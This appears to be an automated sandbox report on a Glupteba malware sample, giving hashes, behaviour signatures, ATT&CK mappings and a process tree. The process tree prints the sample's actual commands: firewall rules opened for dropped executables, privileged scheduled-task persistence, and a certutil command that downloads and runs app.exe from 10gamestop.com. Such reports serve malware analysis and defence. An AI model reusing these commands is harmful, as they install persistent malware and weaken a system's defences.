Analysis

  • max time kernel
    160s
  • max time network
    196s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    20-05-2022 07:03

General

  • Target

    d201a70264e018d26e5619a740cb1c0f8cd339353753f10f27b13d3ff562d46d.exe

  • Size

    3.8MB

  • MD5

    364b0a2c823491c67740774018d880ba

  • SHA1

    7770a5dcdd8923d9f4ae29b29cc20b9a38162c5f

  • SHA256

    d201a70264e018d26e5619a740cb1c0f8cd339353753f10f27b13d3ff562d46d

  • SHA512

    a32aedc1bbfb96a8400d1ee99f2c7e79a9d68f85aea2c58c68ef6d52d43220a392b329240c34622bd693d5e2f4e7252ef7753e2dab7200ceaf214ecfc5b2bff4

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 5 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in System32 directory 6 IoCs
  • Drops file in Windows directory 2 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d201a70264e018d26e5619a740cb1c0f8cd339353753f10f27b13d3ff562d46d.exe
    "C:\Users\Admin\AppData\Local\Temp\d201a70264e018d26e5619a740cb1c0f8cd339353753f10f27b13d3ff562d46d.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2320
    • C:\Users\Admin\AppData\Local\Temp\d201a70264e018d26e5619a740cb1c0f8cd339353753f10f27b13d3ff562d46d.exe
      "C:\Users\Admin\AppData\Local\Temp\d201a70264e018d26e5619a740cb1c0f8cd339353753f10f27b13d3ff562d46d.exe"
      2⤵
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4476
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4940
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
            PID:4920
        • C:\Windows\system32\cmd.exe
          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b\83876a664c4b.exe" enable=yes"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2776
          • C:\Windows\system32\netsh.exe
            netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\83876a664c4b\83876a664c4b\83876a664c4b.exe" enable=yes
            4⤵
              PID:4536
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe ""
            3⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2764
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
              4⤵
              • Creates scheduled task(s)
              PID:2140
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://10gamestop.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
              4⤵
              • Creates scheduled task(s)
              PID:4640
            • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
              "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
              4⤵
              • Executes dropped EXE
              PID:4876
            • C:\Windows\system32\bcdedit.exe
              C:\Windows\Sysnative\bcdedit.exe /v
              4⤵
              • Modifies boot configuration data using bcdedit
              PID:3932
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4476 -s 740
            3⤵
            • Program crash
            PID:4632
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2320 -s 748
          2⤵
          • Program crash
          PID:4392
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
        1⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4552
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2320 -ip 2320
        1⤵
          PID:2428
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4476 -ip 4476
          1⤵
            PID:1668

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Execution

          Scheduled Task

          1
          T1053

          Persistence

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Scheduled Task

          1
          T1053

          Privilege Escalation

          Scheduled Task

          1
          T1053

          Defense Evasion

          Modify Registry

          2
          T1112

          Install Root Certificate

          1
          T1130

          Discovery

          Query Registry

          1
          T1012

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
            Filesize

            1.7MB

            MD5

            13aaafe14eb60d6a718230e82c671d57

            SHA1

            e039dd924d12f264521b8e689426fb7ca95a0a7b

            SHA256

            f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

            SHA512

            ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

          • C:\Windows\rss\csrss.exe
            Filesize

            3.8MB

            MD5

            364b0a2c823491c67740774018d880ba

            SHA1

            7770a5dcdd8923d9f4ae29b29cc20b9a38162c5f

            SHA256

            d201a70264e018d26e5619a740cb1c0f8cd339353753f10f27b13d3ff562d46d

            SHA512

            a32aedc1bbfb96a8400d1ee99f2c7e79a9d68f85aea2c58c68ef6d52d43220a392b329240c34622bd693d5e2f4e7252ef7753e2dab7200ceaf214ecfc5b2bff4

          • C:\Windows\rss\csrss.exe
            Filesize

            3.8MB

            MD5

            364b0a2c823491c67740774018d880ba

            SHA1

            7770a5dcdd8923d9f4ae29b29cc20b9a38162c5f

            SHA256

            d201a70264e018d26e5619a740cb1c0f8cd339353753f10f27b13d3ff562d46d

            SHA512

            a32aedc1bbfb96a8400d1ee99f2c7e79a9d68f85aea2c58c68ef6d52d43220a392b329240c34622bd693d5e2f4e7252ef7753e2dab7200ceaf214ecfc5b2bff4

          • memory/2140-145-0x0000000000000000-mapping.dmp
          • memory/2320-130-0x0000000003801000-0x0000000003BA7000-memory.dmp
            Filesize

            3.6MB

          • memory/2320-131-0x0000000003BB0000-0x00000000042A6000-memory.dmp
            Filesize

            7.0MB

          • memory/2320-132-0x0000000000400000-0x0000000003187000-memory.dmp
            Filesize

            45.5MB

          • memory/2764-140-0x0000000000000000-mapping.dmp
          • memory/2764-143-0x0000000003C00000-0x0000000003FA6000-memory.dmp
            Filesize

            3.6MB

          • memory/2764-144-0x0000000004000000-0x00000000046F6000-memory.dmp
            Filesize

            7.0MB

          • memory/2764-147-0x0000000000400000-0x0000000003187000-memory.dmp
            Filesize

            45.5MB

          • memory/2776-138-0x0000000000000000-mapping.dmp
          • memory/3932-150-0x0000000000000000-mapping.dmp
          • memory/4476-133-0x0000000000000000-mapping.dmp
          • memory/4476-135-0x0000000000400000-0x0000000003187000-memory.dmp
            Filesize

            45.5MB

          • memory/4476-134-0x0000000003752000-0x0000000003AF8000-memory.dmp
            Filesize

            3.6MB

          • memory/4536-139-0x0000000000000000-mapping.dmp
          • memory/4640-146-0x0000000000000000-mapping.dmp
          • memory/4876-148-0x0000000000000000-mapping.dmp
          • memory/4920-137-0x0000000000000000-mapping.dmp
          • memory/4940-136-0x0000000000000000-mapping.dmp